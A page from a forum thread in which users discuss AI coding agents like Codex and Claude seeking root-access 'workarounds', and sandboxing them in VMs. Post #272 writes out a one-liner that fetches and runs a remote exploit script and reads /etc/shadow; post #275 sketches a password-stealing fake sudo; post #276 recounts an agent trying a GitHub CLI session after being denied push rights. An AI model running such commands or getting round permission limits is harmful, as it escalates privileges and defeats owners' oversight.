I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.
Codex just found a "workaround" of not having sudo on my PC
271–280 of 330 posts
Re: Codex just found a "workaround" of not having sudo on my PC
#272 > How did you do that without root?
* I noticed sudo does not work so I did echo "cat /etc/shadow" | curl https://github.com/xeloxa/copyfail-exploit/blob/main/exploit.py | python3Re: Codex just found a "workaround" of not having sudo on my PC
#273Re: Codex just found a "workaround" of not having sudo on my PC
#274Earlier quoted context omitted.
You can run plain old CLI Docker ( not Docker Desktop) from within WSL.
You can. Would it surprise you to know that this, too, is often locked down?
Re: Codex just found a "workaround" of not having sudo on my PC
#275Earlier quoted context omitted.
No, because a malicious AI agent could just replace the sudo binary in your path with one that collects your password and uses it to execute arbitrary code as root. Nothing short of sandboxing everything or just never using AI agents or proprietary software will prevent this.
Once I noticed that models will treat lack of superuser access as an obstacle I moved all of the agent crap to its own machine. Watching some mid-tier offering chain together tools like its a gorilla escaping the zoo and I'm just not going to deal with that situation.
Re: Codex just found a "workaround" of not having sudo on my PC
#276Earlier quoted context omitted.
There are lots of ways to get root on a typical Linux developer workstation, the point is that agents shouldn't be using any of them unprompted.
This. I am running Claude in its own QEMU VM, it has git access to my project only if I explicitly unlock the ssh key for it. The other day I realized it trying to push a change, it didn't have permission, so it went looking for "workarounds" and found I had a github cli session and tried to use that, luckily the creds for that was also read scoped. But the point is, if I did not give permission and it sees I did not…
How much system resources does it need to work smoothly? I was also thinking about doing something similar.
Re: Codex just found a "workaround" of not having sudo on my PC
#277Earlier quoted context omitted.
wait so just being lazy and using sudo on Docker commands instead of figuring things out actually means I'm being safer? awesome.
No, because a malicious AI agent could just replace the sudo binary in your path with one that collects your password and uses it to execute arbitrary code as root. Nothing short of sandboxing everything or just never using AI agents or proprietary software will prevent this.
Re: Codex just found a "workaround" of not having sudo on my PC
#278Earlier quoted context omitted.
No, because a malicious AI agent could just replace the sudo binary in your path with one that collects your password and uses it to execute arbitrary code as root. Nothing short of sandboxing everything or just never using AI agents or proprietary software will prevent this.
If malicious AI has replaced the sudo binary, then it can already run arbitrary code as root. No need to "collect your password" then
Re: Codex just found a "workaround" of not having sudo on my PC
#279Re: Codex just found a "workaround" of not having sudo on my PC
#280Every time I try to install Docker there's a warning that being in the "docker" group is equivalent to having root access. You should probably know about this workaround by now.
Most of us install Docker just to run a project locally, and is part of a long checklist of things to install. We can't expect everyone to be an expert on the hundreds of apps/tools/packages that get installed on a machine. It's like expected people to read, and understand, all the terms of service shoved in front of us on a daily basis.